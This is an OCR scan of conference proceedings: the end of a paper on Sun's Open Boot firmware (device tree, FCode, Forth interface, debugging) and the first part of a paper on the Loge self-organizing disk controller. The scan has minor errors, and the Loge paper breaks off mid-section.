scribed by an Open Boot data structure known as the device tree. The operating system may inspect the device
tree to determine the hardware configuration of the system. Each device in the tree is described by a property
list. The set ofproperties describing a device is arbitrarily extensible, to accommodate any type ofdevice and
any kind of information that needs to be reported about the device. Any node in the device tree may be iden­
tified by an unambiguous pathname, even in a system with a complicated hierarchy of interconnected buses
of heterogeneous types.

• Programmable User Interface
The Open Boot user interface is based on a standard interactive programming language so that sequences of
user commands may be combined to form complete programs. This is useful for debugging hardware and
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software; Open Boot can be quite helpful in the initial "bring-up" of new hardware and software. In addition,
Open Boot programming features have been used to implement "work-arounds" for many kinds of system
bugs.

• FCode Debugging
The Open Boot user interface language (Forth) and the FCode language share a common interpretation mech­
anism. so FCode programs may be developed and debugged with built-in Open Boot tools.

• Operating System Debugging
Open Boot has commands for debugging operating system code. including symbolic disassembly, break­
points, and support for kernel data structure display procedures. The features can obviate the need for a sep­
arate "kernel debugger" program in many cases, and since they are always present. they may be used for post­
mortem debugging with no advance preparation (as is often required with separate debuggers).

2.2. Design Principles
• Parent-relative Physical Addressing

The structure of the device tree and its naming scheme is based on the fact that, at the hardware level, each
physical bus defines an address space uniquely identifying the attached devices. The overall structure of the
device tree mimics the hardware's hierarchy of interconnected buses. Non-terminal device tree nodes repre­
sent buses, and their children represent devices (possibly including other buses) attached to that bus. A node
is distinguished from its siblings by an address reflecting the physical address of the associated device in the
address space of the bus represented by the parent node.

• Property Lists
Information about devices is stored in arbitrarily-extensible property lists. The only primitive data type for
property values is "array of bytes". Information is encoded in a byte array by a set of machine-independent
encode/decode procedures. Properties are accessed by name, and the presence or absence of a particular
named property may be determined independently of its value.

• Procedural Interfaces
Open Boot external interfaces are based upon access procedures, rather than on shared data structures. This
allows the firmware to choose or change its own data structures and eliminates "include-file-coupling" be­
tween the firmware and the operating system. The minimization of "include-file coupling" reduces the
amount of coordination needed between operating system developers and firmware developers, making it
easier to release new operating system versions and new firmware versions on independent schedules.

• Pervasive Forth
The Forth programming language is central to the design of the system. Forth is used for the user interface,
the FCode driver interpreter, the property list mechanism, the device tree navigator, the patching tools (for
fixing firmware bugs without releasing new ROMs), and the hardware and software debuggers. The same
tools and syntax apply to all the components of the system, and all features are available at any time (Except
for a severely restricted "security mode", the system is essentially modeless).

• Distributed Name Space Arbitration (No Enumerations)
Open Boot avoids the need for a centralized "authority" to dole out "magic numbers". Descriptive informa­
tion is encoded as text strings, and device names are prefaced by the name of the device's manufacturer.

3. Technical Details
The complete description of Open Boot is contained in the IEEE P1275 Standard for Boot Firmware working

draft document (see the Standards section). The following description gives an overview of the basic concepts. Refer
to the following figure for a block diagram.

Open Boot's central data structure is the device tree, a hierarchical representation of the computer's hardware
configuration. The device tree provides a name space for identifying individual devices.

Open Boot is based on the Forth programming language. The user interface is an interactive Forth interpreter.
The identification and driver mechanism for plug-in devices is a byte-coded representation of Forth called FCode.
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FCode is incrementally compiled into an internal representation that is executed by the same Forth virtual machine
ron-time system that is used for the interactive Forth interpreter.

A program (such as an operating system) that has been loaded by Open Boot may use Open Boot selVices
through the ROMvec interface, a set of procedures that give access the device tree and other Open Boot capabilities.

Program

I

User-

I
Plug-In Devices

Open Boot Block Diagram

3.1. Device Tree
The device tree is the focus of Open Boot naming, identifying both hardware devices and Open Boot software

packages.

3.2. Structure and Addressing
Devices are attached to a system on a set of interconnected buses. Open Boot represents the interconnected bus­

es and their attached devices as a tree of nodes, with a node representing the entire machine at the root of the tree.

Each device node may have properties (data structures describing the node and its associated device),. methods
(software procedures that may be used to access the device), and childre" (other device nodes "attached" to that node,
directly "below" it in the device tree).

Device nodes with children are called hierarchical nodes. Devi~e nodes without children are called lea/nodes.
The node directly uabove" a node is its parent.

Most hierarchical nodes represent buses and their associated controllers, ifany. Each such hierarchical node de­
fines a "physical address space" that distinguishes the devices connected to it from one another. Each device connected
to that hierarchical device is assigned a Uphysical address" within that address space. The form of a physical address
is a pair of32-bit numbers. The interpretation of the two numbers is specific to the hierarchical device driver. In gen­
eral, the numbers are based upon some physical characteristic unique to the device, such as the bus address or the slot
number where the device is installed. This prevents device addresses from changing when another device is installed.
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Example device tree:

Sun 4/75
Machine Node

Open Boot Firmware

memory@O,O
~ '" =:::::::::::----

audio@ 1,f720100 sbus@ 1,f8000000 zs@ 1,fOOOOOOO packages
(DART)

SUNW,1e@O,cOOOOO SUNW,esp@O,800000 SUNW,cgthree@3,O
(Ethernet) (SCSI host adapter) (Frame Buffer)

~
sd@l,O st@5,0

SCSI disk SCSI tape
(target 1, unit 0) (target 5, unit 0)

3.3.1. Name Syntax
Each node in the device tree is identified by a node-name using the following notation:

node-name:

driver-name@unit-address:device-arguments

Driver-name is a human-readable string naming the device. Driver-name is represented by a sequence of be­
tween 1 and 31lettets. digits and punctuation characters from the set ". _ + _It. Upper and lower case are distinct. By
convention. this name includes the name of the device's manufacturer and the device's model name. separated by a
comma ("."). For publicly traded companies. the recommended spelling of the manufacturer name is that company's
stock symbol. Inclusion of the manufacturer name within driver-name is especially important for devices intended to
plug into standard buses. It is somewhat less important for devices that are permanently attached to a particular system.

Unit-address is the "physical address" of the device within the address space defined by its parent node. Unit­
address consists of a pair of 32-bit numbers. represented as two hexadecimal numbers separated by a comma (".").
The interpretation of the two numbers depends upon the parent node.

Devke-arguments is a sequence of letters or digits. Upper and lower case are distinct. The length is arbitrary
although sequences of more than eight characters are discouraged. Device-arguments is interpreted by the driver and
typically represents additional device information in such as partition name or protocol.Device-arguments and its pre­
ceding ":" may be omitted when specifying a node-name. Device-arguments does not serve to identify the device node;
instead. it is passed to that node's open routine if that driver' is opened.

When Open Boot is searching for a particular node. and either the driver-name or @unit-address portion of the
node-name is missing. Open Boot arbitrarily chooses a node matching the portion that is present.

The complete. unambiguous device-path of a device node lists the node-names of all devices in the path from
the root of the tree to the desired device. A device-path is represented as a list of node-names separated by slashes ("I
"). e.g.

Isbus@ 1.f8000000/SUNW.esp@0.800000/sd@ 1.0

The implied root of the tree is the 1IUJchine node. which is not named explicitly but may be indicated by a lead­
ing slash (" f').

The syntax was chosen to conflict as little as possible with the syntax of various Unix utilities.
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3.3.2. Device Aliases

Bradley

An alias is a "shorthand" representation of a device-path. For example. the alias "disk" may represent the de­
vice-path "/sbus@ 1.f8000000/esp@OAOOOOO/sd@3.0:b". An alias represents an entire device-path. not a component
thereof.

In most cases. casual users do not need to type full device-path names. because each implementation has a num­
ber of predefined aliases for devices commonly installed on that machine. Users may create. modify. and examine
aliases.

3.4.3. Properties
Each device node has a set ofproperties describing the node and its associated device. A property consists of a

name and an associated value. The name is string of printable characters. and the value is an arbitrarily-long array of
bytes.

Encoding and decoding procedures allow property values to represent strings. integers. subordinate byte arrays.
and arbitrary combinations thereof. The encoding format. including byte order and alignment. is well-defined. so prop­
erty values are machine independent.

There is a small set ofpredefined property names. Predefined property names are used for important node char­
acteristics like the human-readable name of the node and its physical address within its parent's address space. In ad­
dition to the predefined properties. a node may have any number ofother properties with arbitrary names. Some typical
properties are:

Predefined Property Examples:

Name Encoding

name

reg

intr

device-type

string

array of address ranges

array of level.vector

string

Meaning

Human-readable node name

Device physical address ranges

Device's interrupt levels

Use ofdevice (e.g. display. disk. tape. network)

Additional Property Examples:

Name Encoding

width integer

clock-frequency integer

Meaning

Width in pixels (for a display device)

Qock frequency (for a CPU or bus interface)

Open Boot has procedures for getting and setting property values. A non-existent property is distinguishable
from a property with a zero-length value, making it easy to provide for backwards compatibility with old revisions
when new properties are created.

3.5.4. Device Methods
A device tree node may have a set of methods. driver procedures for using the associated device. Device meth­

ods may be executed by external software. usually during booting. The set of methods implemented by a particular
device depends on the type of device. For example. disk devices have (among others) read-blocks methods. network
interfaces have xmit-packet methods, and display devices have draw-cbaracter methods. Some devices may have no
methods at all. For example. there is generally little use for a FAX modem device during booting. so such a device
might not have any methods. or it might have only a selftest method. Some example methods:
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Name Used with Device Types Behavior

selftest <any> Test device hardware

open <any> Prepare device for subsequent use

close <any> Stop using device

read <any> Read bytes from device

write <any> Write bytes to device

read-blocks disk Read blocks from device

xmit-packet network Send network packet

poll-packet network Receive network packet if one is available

erase-screen display Clear screen

draw-character display Put a character on the screen

Before device methods may be executed. the device must first be opened. thus creating an instance of the driver.
Doing so allocates and initializing any data structures used by the device driver. These data structures may be global
(shared by all instances of that device driver). or local (specific to the particular instance).

3.6. FCode Interface
FCode is a byte-coded version of the Forth programming language. Normally. the interactive interpretation or

incremental compilation of a Forth program involves parsing a textual name from the source code. searching for that
name in a symbol table. and either executing or compiling an associated code fragment. FCode is very similar to Forth
source code. except that the text names are replaced by binary integers. The "parse a name. search the symbol table lt

steps are replaced with "read a byte. index into a table". This byte encoding has three advantages:

1) It saves space in external device ROMS.

2) The interpretation process is faster than with textual source.

3) The set of supported functions is strictly enumerated by the byte code set. making it more difficult for FCode
programmers to use undocumented implementation details.

The set of FCode functions includes most functions found is standard Forth (Open Boot is currently based on a
variant of the Forth-83 standard. but it will probably be converted to ANSI Forth when that standard is approved later
this year). as well as numerous extensions specifically useful in the firmware environment. The extensions include fa­
cilities for creating new device nodes, creating and reading properties. and so on.

3.7.1. Probing
Probing is the process of creating new device tree nodes for plug-in devices. Plug-in devices are devices that

may be added to a system by the user. perhaps by plugging them into an expansion bus. Consider the case of SBus.
The SBus specification requires that every SBus card have an FCode ROM beginning at offset 0 within that card's
address space. During the probing phase of the startup sequence. Open Boot examines each SBus slot. interpreting the
FCode program ofeach occupied slot. The interpretation ofthat program creates a new device tree node for that device.
creates a set of properties describing the device. and optionally compiles a set of methods to be used if that device is
later selected for booting or for text display. The compilation of those methods creates code in the main system RAM.
and the FCode ROM is no longer needed.

For buses without slot-based addressing (e.g. Multibus), a list of addresses where FCode ROMs may be found
can be stored in non-volatile RAM. Methods exist for "retrofittingU FCode drivers for old devices with no space for
FCode ROMs on the device itself.

3.8. Program Interface
Programs that were booted by Open Boot may use Open Boot services via the ROMvec interface. ROMvec ex­

ports a set of procedures that may be called from a C or assembly language program. Those procedures allow the pro-
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gram to traverse the device tree, inspect properties, execute device methods, allocate memory, determine memory
availability, and perform other useful functions. One ROMvec procedure allows a program to pass arbitrary Forth
source code to Open Boot for interpretation.

Through the ROMvec interface, secondary boot programs may use Open Boot drivers. The Open Boot drivers
are specifically intended to be used during the booting phase, and not by the main operating system. They are opti­
mized for simplicity and small size, not for high performance in a multitasking environment. Mer the main operating
system has "taken control" of the machine by assuming responsibility for virtual and physical memory allocation,
Open Boot drivers can no longer be opened.

3.9. User Interface
The Open Boot user interface is based on the Forth programming language. All user interface commands are

Forth language "words" (procedures). Forth is a stack-based programming language with postfix syntax.

A Forth word is executed by typing its name, preceded or followed by "white space" (space, tab, or newline)
delimiters. Forth words are executed as they are encountered, from left to right. Since the lexical rules are so simple
(white space is the only delimiter) and the syntax is trivial (left to right execution), the code for a Forth interpreter is
very compact.

Forth passes numeric arguments on a push-down stack. Arguments are pushed on the stack before the execution
of a word, and the results are left on the stack after execution. Numbers may be pushed on the stack by typing their
value or by executing a Forth word that returns the desired numeric value.

In addition to the "interpret state" in which words are executed as they are encountered, Forth also has a "com_
pile state". In compile state, when a Forth word is encountered, the code necessary to execute that word is incremen­
tally compiled into memory. Compile state is entered by interpreting a particular Forth word (named u:") which also
creates and names a new Forth word. Subsequent Forth words will then be compiled as components of the behavior of
the new Forth word, until the word ";" is encountered, closing the new word and switching back to interpret state. Once
so defined, the new word may be used in the same way as pre-existing words.

Open Boot user interface commands may be combined with other Forth words to form complete programs, test
loops, etc. .

3.10.1. Toolkit
The set ofpredefmed Open Boot user interface commands includes words for browsing the device tree, booting

otherprograms (such as the operating system), examining memory and registers, performing diagnostic tests, perform­
ing arithmetic and logical calculations, and setting the values of configuration options stored in non-volatile RAM. An
on-line help facility describes the available user interface commands as well as the basics of the Forth programming
language. Command lines are entered and edited with an EMACS-style line editor with interactive history and com­
mand completion features.

3.11.2. Debuggers
Debugging tools for hardware, system software, firmware, and FCode programs are provided as collections of

Forth words. Using the normal Forth programming language features, those tools may be combined in arbitrary ways
to form diagnostic scripts and test sequences.

The hardware debugging tools include "canned" selftest methods for particular devices, as well as low-level
primitives for mapping and accessing device registers. Initialization sequences, display formatting procedures, and
"scope loops" may be constructed from these primitives, in conjunction with standard Forth control and looping con­
structs. Open Bootcan provide a usable interactive debugging environment even ifsubstantial portions of the computer
do not work. making it valuable as a bringup tool for new computer hardware.

System software debugging tools are based on a symbolic disassembler and a set ofForth words for controlling
the execution of machine language programs and for displaying machine state. The symbolic capability is independent
of any particular symbol table format. The execution control capabilities include single-stepping and breakpoints. The
state display words can examine and sel register values, memory location, and procedure call frames. Since the exe-
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cution control and state display commands are Forth words. they may be used as building blocks to create more-com­
plicated debugging scripts. such as conditional breakpoints and kernel data structure display commands.

In contrast to many other ROM-based programs that must be debugged with in-circuit emulators. logic analyz­
ers, or "umbilical cord" host/target arrangements. Open Boot can debug itself! The Forth implementation used in Open
Boot includes a decompiler that can reconstruct a representation of the source code for any Forth word in the system.
Forth programs may be "single stepped" by interactively executing their component words. and the results may be in­
spected with Forth display commands. The Open Boot firmware may be copied into RAM, where source-level patches
may be applied.

FCode programs are debugged with the same tools that are used to debug Open Boot itself. FCode programs are
compiled into the same executable code form as Forth programs. so the decompiler can regenerate their source code.
During the development of new FCode drivers. it is not necessary to convert the programs into the FCode form - the
code can be tested in Forth source form, and then converted into FCode form for storage in a device ROM when it is
working.

3.12. Non-Volatile RAM

Open Boot stores certain system configuration parameters in non-volatile RAM. The exact list of configuration
parameters is system-dependent, but it may include such user-settable choices as the name of the device to boot from,
the name of the console device. the baud rate of the input device, etc. User and program access to those options is by
human-readable names; the locations of those options within the non-volatile RAM device, and their encoding formats,
are known only to the Open Boot implementation. This makes it easy to add new options and to delete old ones as
product lines evolve and system requirements change.

A portion of non-volatile RAM is reserved for use as an NVRAMRC "script file". containing Forth source code.
NVRAMRC may be used to store user-created Forth commands, extensions, bug fix patches. and customizations.
Open Boot automatically interprets the NVRAMRC "file" at an appropriate time in its startup sequence.

A resident text editor based on the EMACS-style Forth command line editor allows the user to edit the contents
ofNVRAMRC.

3.13. Support Packages

Open Boot has several built-in support packages to assist in some of the tasks that drivers must perform.

The deb/ocker package converts between a byte-stream-oriented read/write interface and a block-oriented in­
terface. Drivers for devices that are inherently block oriented. like disks and some tapes. use this package so they may
present a "seamless" byte-oriented interface to higher-level software. This allows boot programs to work with devices
of varying block sizes. without having to take any special precautions.

The terminal emulator package is used with display devices. It sits on top of a character-mapped display device
and emulates an ANSI terminal. processing the appropriate ANSI escape sequences.

Thefbl andfb8 packages contain pixel-level text display routines that are used by "dumb frame buffer" device
drivers.

The TFJ'P package implements the Internet Trivial File Transfer Protocol, used for network booting.

4. Evaluation

Open Boot is used on all ofSun's current generation ofcomputers. and will be used on all future Sun computers.
FORCE Computers has adopted Open Boot firmware for future products spanning several CPU types and several dif-·
ferent buses. The IEEE P1275 Open Boot Working Group is working on a proposed firmware standard based on Open
Boot.

4.1. Successes

Open Boot's method of reporting machine information as property lists has been valuable in allowing the same
operating system kernel to support numerous hardware platforms. Before Open Boot, Sun's Unix kernel used to enu-
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merate the various supported machines and their characteristics, but now it detennines individual characteristics (e.g.
cache line size) from the Open Boot property lists. New hardware models within the same family do not require new
kernels.

The machine-independent nature of FCode contributes to the machine-independence of SBus, allowing the
same SBus cards to be used with different CPU types, without giving up the "plug-in" device identification and boot
driver capability.

Open Boot's hierarchical naming structure supports systems with varying bus structures. In addition to the rel­
atively straightforward bus structure of the SPARCstation-l™ on which Open Boot was first used. the hierarchial
naming structure has extended quite nicely to systems with multiple processors. multiple buses. and hierarchies of in­
terconnected buses.

Open Boot's strictly-physical. fully-qualified naming structure has influenced the internal naming structure of
the Solaris 2.0 kernel. Sun's "Device File System" (devfs) is based directly on the Open Boot naming structure.

Sun's second stage disk boot program has been rewritten in Forth to run under Open Boot. increasing its func­
tionality, decreasing its size, and making it CPU-independent. Other Sun "standalone" programs are now significantly
less machine dependent than they used to be, because they can now depend on Open Boot to take care of the low level
details of device access and memory management.

The use of the Forth language has been beneficial in the long run, but it posed some difficult problems at first.
The ROM environment is highly space-constrained. Without Forth's space efficiency and the synergy resulting from
using the same interactive run-time system for many components ofOpen Boot, Open Boot would not have been pos­
sible without severely reducing its complement of features. The primary problem with Forth is that it is not as well­
known as C, and thus it is viewed with suspicion. This resulted in a plethora of "political" problems; much of the time
in the early phases of the project was spent fighting such problems. Another problem with Forth is that Forth program­
mers are more difficult to find that C programmers. Skilled Forth programmers are available, but you have to know
where to look. Another solution is on-the-job training. At Sun, we have found that it relatively easy to train people in
the use of Forth. One member of the Open Boot development team at Sun had no previous exposure to Forth. Hope­
fully, the success of Open Boot will lead to the greater acceptance of Forth in the industry, thus alleviating some of
these problems.

The "learning Forth" issue applies mostly to firmware developers; operating system developers and hardware
developers who just want to use Open Boot features for debugging their own hardware and software typically learn a
usable subset of Forth in half an hour or less.

The self-patching feature provided by the ability to store Forth source code "scripts" in non-volatile RAM has
been quite a blessing. Using that feature, we have avoided several expensive and disruptive "emergency" ROM up­
grades.

Open Boot's debugging features have been generally well-received. Several operating system developers have
stopped using Sun's "kadb" kernel debugger in favor of Open Boot's built-in features. Some hardware engineers now
write their own bringup diagnostics in Forth, instead of relying on other diagnostic engineers for diagnostic code. In
some cases, those bringup diagnostics have been converted into FCode drivers with little effort.

The built-in debugging features for FCode drivers have made it unnecessary to have a separate debugging en­
vironment for firmware drivers. With the always-resident firmware debugging environment. customer problems in­
volving non-standard configurations and unsupported devices can often be resolved over the telephone. FCode drivers
can interactively decompiled. incrementally executed, examined, and patched.

4.2. Mistakes
The Open Boot architecture is in its second revision (Open Boot 2.x). In the second revision. we had the oppor­

tunity (or luxury!) to correct many of the mistakes we made in version 1.

The problems with version 1 resulted from a number of factors. including time pressure. our own ignorance.
and "the first cut is always wrong" syndrome. Some of those version 1problems include:
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• Absolute Addressing
Version 1 reported device addresses in the physical address space of the CPU, instead of the address space of
the device's parent.

• No Boot Driver Support
Version 1 attempted to allow plug-in boot drivers in addition to plug-in display drivers. but it didn't work
right (due to design deficiencies and bugs), so plug-in boot devices were not supported until version 2.

• Excessive Compatibility!
To ease the task of porting the Unix kernel and various intermediate boot programs, version 1 attempted to
retain compatibility with several aspects of Sun's pre-Open Boot firmware. This caused problems in migra­
tion to new machines. In particular, the version 1 memory allocation scheme was anemic and half-hearted.
Version 2 includes complete dynamic allocation of both physical and virtual memory.

• Text Display Performance
In some Open Boot implementations, the text display performance leaves something to be desired. This is
mostly attributable to a bug in the code; the primitive text display subroutines were supposed to be executed
from cached RAM, but due to a bug, the cache was not being enabled for that page. Consequently, those rou­
tines were being executed from ROM, which is about 50 times slower than cache!

•Resource Limitations
Version 1 had a number of fixed limits on various resources, such a property list space, node descriptors, vir­
tual memory, and code space. Some of these limitations resulted from backwards compatibility constraints,
but others were due to lack of foresight, tight implementation schedules, or just plain stupidity. In version 2.
the allocators have been generalized and made more dynamic, and fixed limits, where they exist, are very gen­
erous (at least for now!).

We are quite happy with version 2; its problems have proven to be relatively minor. The major issues currently
under study by the IEEE Open Boot Working Group, are:

• Internationalization
Open Boot supports the ISO Latin-l character set and keyboards of many countries. but it currently has no
provision for Oriental character sets. The commands and error messages are currently only in English

• Virtual Memory Assumptions
The range ofvirtual memory that can be used by the firmware is the subject of an implicit agreement with the
operating system kernel. This needs to be fixed, in order to support different operating systems on the same
hardware.

• Physical Address Width
The physical address width is currently 64 bits. with the format bus-dependent. This is inadequate for the new
64-bit VME bus, which effectively has about 70 address bits. The tentative plan is to make the address width
bus-dependent. encapsulating that knowledge in the driver for each bus's device node.

5. Why Forth?
There are several reasons why Open Boot is implemented in Forth rather than in C. The primary reason is that

Forth is a complete interactive environment, whereas the C language is not inherently interactive. C interpreters are
available, but they are generally much larger than Forth interpreters, and space is at a premium in the ROM environ­
ment. The simple Forth syntax is quite convenient for various hardware debugging purposes, and it can readily extend­
ed into a command language with changing its basic structure. The FCode encoding of Forth source is a convenient
machine-independent "intermediate language" that is compact, easy to generate, quick to interpret, and easy to debug.
Finally, the bit-density of compiled Forth code is very good. Compiled Forth code requires approximately half the
space of equivalent compiled C code on the SPARC processor.

The use of Forth resulted in a great deal of synergy in the firmware environment. Most of the system compo­
nents serve double or triple duty. For example, Forth primitives serve as user interface commands, FCode driver func­
tions, hardware debugging tools, and device tree implementation factors. As a consequence, a great deal of capability
fits in a constrained space, and the same user interface commands apply to many different tasks.
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6. Standards
The IEEE P1275 Open Boot Working Group is developing a proposed standard for boot firmware based on

Open Boot. Meetings are held monthly at various locations. For more information. contact:

Mitch Bradley
Chair. P1275 Open Boot Working Group
2732 Katrina Way
Mountain View. CA 94040

Phone: (415)961-1302
FAX: (415)962-0927
email: Mitch.Bradley@Eng.Sun.COM

Various other IEEE standards efforts refer to Open Boot. The IEEE Futurebus+ standard includes provisions
for the use ofFCode as a means of device self-identification. The IEEE VME-D standard (in the draft stage) includes
a similar provision. The SBus specification has depended on FCode for device identification since its inception.

7• Availability
Sun Microsystems has released the Open Boot specification to the IEEE for inclusion in the proposed P1275

Standard for Boot Firmware. so the specification is freely available. The specification and the interfaces may be freely
used and implemented. Contact the author at the address given in the Standards section for information about how to
obtain copies of the PI 275 draft specification. If the standardization effort is successful. the specification will then be
available from the usual IEEE sources.

Sun is licensing its implementation of Open Boot in source form for use on SPARC computers. Licensing ar­
rangements for non-SPARC machines are under consideration. Less than ten percent of the implementation code is
SPARC-specific. Contact the author for the latest information. Note that the license applies to the implementation. not
to the specification. The specification is free.

The Forth language interpreter on which Sun's Open Boot implementation is based is currently available for a
variety of machines. including SPARC. 680xO. 386/486. and others. from:

Bradley Forthware
P.O. Box 4444
Mountain View. CA 94040

Other Forth interpreters are available for many machines. Contact the Forth Interest Group at the address given
in the References section for more information.

8. Trademarks

Unix is a registered trademark of AT&T.

SPARC and SPARCstation are trademarks of SPARC International.

Open Boot and Solaris are trademarks of Sun Microsystems. Inc.

Multibus. 386. and 486 are trademarks of Intel Corporation.

680xO is a trademark of Motorola. Inc.

QBus is a trademark of Digital Equipment Corporation.
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Loge: a self-organizing disk controller
Roben M. English & Alexander A. Stepanov

Hewlett-Packard Laboratories

Abstract
While the task of organizing data on the disk has traditionally been performed by the file system,
the disk controller is in many respects better suited to the task. In this paper, we. describe Loge, a
disk controller that uses internal indirection, accurate physical information, and reliable metadata
storage to improve I/O performance. Our simulations show that Loge improves overall disk
performance, doubles write performance, and can, in some cases, improve read performance. The
Loge disk controlleroperates through standard device interfaces, enabling it to be used on standard
systems without software modification.

...only craft and cunning will serve,
such as Loge artfully provides.

- Richard Wagner, Das Rhe/ngold, Scene II

1 Introduction
Loge1 is a disk controller which organizes data based on the I/O stream, rather than on interpretations of
file system structure. Unlike a conventional design, where data location is a static decision made when
blocks are allocated, Loge places blocks dynamically, choosingan optimal location for each write at the time
the data is written to the disk. Write performance on Loge is largely independent of the I/O stream, and in
many cases approaches the sequential throughput of the device. Even on a highly fragmented, nearly full
disk, Loge can achieve half of the sequential throughput of the device.

Loge is a write-optimized design-several studies, most recently [Baker91al have shown that the
proportion of writes in the I/O stream is increasing over time-but read performance does not necessarily
suffer. Files tend to be read in the same patterns that they are written, so that a device which performs well
on writes will often perform well on reads [Ousterhout89l. Even when this is not true (for example, when
a file is generated slowly but read quickly), the data structures in Loge allow the device to reorganize data
and improve performance, simply by copying files to better locations. Our simulations show that, at least
against some traces, Loge can outperform a standard disk on reads by about ten per cent.

Loge combines a number of techniques. It introduces a layer of indirection within the controller to allow
data relocation on every write. It uses reverse indexes stored in the data blocks to update mappings reliably
and efficiently. It uses time stamps and shadow pages to allow atomic updates. None of these techniques is
particularly new, but only recently has their combination in a disk controller become economical. For
example, Loge uses single-level, main memory data structures to achieve good read and write performance

1. Loge (pronounced loh-ghee), is the Germanic god of fire.
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by avoiding additional disk accesses. This approach is only feasible because of the decrease in RAM prices
with respect to disk prices.

The rest of this paper describes these results in greater detail, as well as giving a full description of the Loge
design. It also describes several advantage of intelligent storage devices over traditional file systems as
storage managers, and some effective ways to combine the two approaches.

2 Related work

The concept of an intelligent controller is not new, but we cannot find an example that plays as aggressive
a role as we envision. Closest, perhaps, are dedicated file servers such as those sold by Auspex [Nelson91],
but such systems have high-level interfaces and are typically much more complicated and expensive than
a simple peripheral. (Menon89] proposes using similar techniques for parity updates in disk arrays, but
stops short of advocating them for single disks.

Much has been written on the issue of disk data organization, from file system formats that optimize
sequential performance--either by controlling individual block placement [McKusick84, McVoy91] or by
allocating files in extents [Peacock88]-to theoretical studies on minimizing head movement [Wong83].
These differ from Loge primarily in that they view data location on disk as static, rather than dynamic. Even
with adaptive techniques such as the cylinder and block shuffling [Vongsathom90, Musser91, RuemmIer91,
and Staelin91], the time scale for reorganization is much longer than a single transaction. In all of these
strategies, the high overhead for relocating data limits their effectiveness and prevents them from
responding to transient disk behavior.

In some respects, this work is similar to the Log-based file system (LFS) work [Rosenblum91]. Like LFS,
Loge emphasizes write performance and uses the order in which data is written to determine placement.
Unlike LFS, Loge does so in a single-level structure without modifying file system software, an approach
we find at once simpler and more powerful. LFS-style write policies, for example, can be implemented in
Loge, and the result should perform at least as well as LFS.

3 Terminology

A few terms will be useful for the following discussion. A blockaddress is the logical tag associated by a host
with a fiXed size array of data (e.g., an 8I<B file system block). A segment address is the physical address of a
location on disk capable of storing a block. Block and segment refer to the combination of address and either
data or storage, respectively. Disk head position is described by a segment address.

When we speak of the distance from segment A to segment B, we refer to the amount of time it takes to move
the disk head from A to B. Segment Bis close to segment A if the time to go from A to B is small. It should
be noted, however, that because disks only spin in one direction, the distance function is not symmetric.
Since there may be several segments equidistant from A, there will, in general, be no single closest segment,
but it will sometimes be convenient to refer to a closest segment, in which case any segment with the smallest
distance will suffice.

Lastly, we borrow a measure of write performance from [Rosenblum91], the write cost, defined as the ratio
between the total time spent in an I/O transaction and the time spent actually transferring data from the
medium. Unlike [Rosenblum91], however, we base our write cost on the raw transfer rate of the medium,
rather than the sequential throughput of the disk for large transfers, since the latter includes a number of
seeks and head switches, during which the disk is not transferring data.

4 Loge data structures and operation

Loge contains only two primary data structures: an indirection table and a bibnap of available blocks.
Though some of the placement and reorganization heuristics described later require additional structures,
none of them are essential for normal operation. The indirection table stores the addresses of the physical

238 USENIX - Winter '92



English, Stepanov Loge: A Self Organizing Disk ...

segments indexed by logical block address. The free map is used to find potential storage locations. Both of
these structures are kept in dedicated RAM on the controller.

Free Map

Indirection Table

Figure 4.0: Loge data structures

In response to a read request, the controller looks up the segment address in the indirection table and starts
the necessary transfer. In response to a write request, the device selects a segment from the free map that
can be reached quickly from the current head position, writes the block to it, frees the old segment, and
installs the new segment address in the indirection table.

4.1 Recovery

To ensure reliable operation, Loge includes the block address and a time stamp in the blocks being written.
This information is written into the sector headers of the disk along with normal ECC information, and is
invisible to the host computer. The combination of time stamps and inverted addresses allows Loge to
recover from any non-media failure in the time it takes to scan the disk, about 11 minutes on a 1.3GB disk
capable of reading 2MB/ s. As transfer rates increase and form factors decrease, this number will shrink.

More aggressive Loge implementations could use small amounts of non-volatile storage or even full battery
backup for the indirection table to reduce the recovery time, but the inverted indices provide excellent
protection against catastrophic failures and should probably be maintained even so.

4.2 Costs

In order for Loge to be practical, it must not significantly increase the cost of a disk. Battery-backed RAM
has exceptional performance, and any disk-based scheme must maintain the current costadvantage of disks
over RAM in order to be feasible. Fortunately, the dramatic decreases in RAM costs help Loge almost as
much as they help solid state systems.

For each block accessible from the host, Loge requires about 3 bytes of storage. A 1GB disk contains 2
million 512-byte sectors, so each entry in the indirection table requires at most 22 bits of address, with one
additional bit for the free map. Even allowing for data structure overhead, this should require only 4 bytes
per block, which for a 4KB block size, amounts to 0.1% of the secondary storage space, or 1MB for a 1GB
disk. Assuming that RAM is 10-20 times more expensive per bit than disk storage [Anderson91], this
amounts to only 1-2% of the cost of the disk.

4.3 Generic segment allocation

Segment allocation in Loge is a local policy, rather than a global one. Block assignment is based primarily
on the relationship between the current head position and the available space, not on semantic
interpretations of the block address itself. Block address need not be totally ignored, but local properties
dominate. All of these strategies can be described as "greedy," in that they write to the closest available
block. and all have a common structure. The free map, in particular, is organized to facilitate their searches.
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A typical heuristic begins by calculating the time at which the disk will be positioned to write, and then
determines the cylinder range which can be reached in that time. The heuristics then search the segments
in this range, and return the fIrst free segment that they find. The heuristics differ only in their search orders
and in how they define an available segment.

To make this search more efficient, the free map is organized as a collection of columns, with each column
corresponding to the set.of segments on the disk at the same rotational position on a cylinder. Each column
is represented as a bit vector, with each bit position corresponding to a disk surface. Heuristics can thus scan
the disk column by column, rather than segment by segment.

5 Performance analysis

5.1 Read performance

In general, Loge read performance is equivalent to that of a regular device with the same layout. Since the
layout of a Loge disk is determined by the I/O trace, however, it depends strongly on the application. We
will not, therefore, attempt to characterize read behavior with great precision, but limit ourselves to
qualitative statements and general observations about the device structure.

First, files that are written sequentially tend to be read sequentially, while files written randomly tend to be
read randomly. One would therefore expect that a device which performs well on writes should perform
reasonably on reads. In particular, we can say that a system capable of writing a file in a particular time is
also capable of reading it in the same order in the same time, and that that places a lower bound on read
performance. If the file is generated slowly, this limit may not be interesting, but in many applications, files
are written as fast as they are read.

Second, reads and writes do not interfere on Loge to the same extent as they do on standard drives. On a
standard drive with a standard file system, the write location is independent of any knowledge of the
current head position. If a drive is used for reads and writes simultaneously, the read commands and the
write commands interfere with each other, causing excessive head motion and poor performance. On Loge,
writes are scheduled close to the current head position, minimizing read/write interference.

Last, while the Loge design does not specifically target read performance, the Loge data structures support
aggressive data movement at the device level, allowing the types of block and cylinder shuffling described
in [Staelin91, Vongsathorn90, Musser91, and Ruemmler91]. These report performance improvements of
between ten and thirty per cent over standard file system organizations and are well-suited to a Loge-style
